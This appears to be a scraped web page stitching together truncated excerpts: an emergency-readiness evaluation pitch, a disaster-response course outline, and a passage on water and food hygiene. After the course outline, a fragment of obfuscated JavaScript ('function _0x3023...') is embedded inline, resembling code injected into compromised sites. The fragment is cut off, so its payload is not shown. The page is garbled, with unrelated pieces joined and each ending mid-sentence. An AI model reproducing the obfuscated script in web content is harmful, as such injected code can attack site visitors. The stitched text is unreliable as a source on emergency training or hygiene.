Is your organization prepared for the worst case scenario? Are your organization’s managers and departments capable to lead if the crisis comes up? Do you have a workable plan to reduce the impacts of an emergency? We can evaluate what is your organization’s real life readiness in case of emergency; terrorist attack, natural disaster or...

Contents of course: Introduction and Importance Introduction to various types of hazards and disasters Tools and equipment Rules of Safety Establishing Base of Operation BoO /EOC Assessment Team formation Task Assignment Communication and coordination Entering in the situation and intervening Search Techniques Stress Management and rotation procedures Debriefing Group exercises Evaluation function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let...

Hygiene can be twice the problem that bad water is, but the problem is easier to solve. Without hygiene instruction, clean water does not have the impact. Besides, the importance of food hygiene can be underlined when one realizes the consequences that can result if you are unaware of safe food preparation and cooking methods. Food...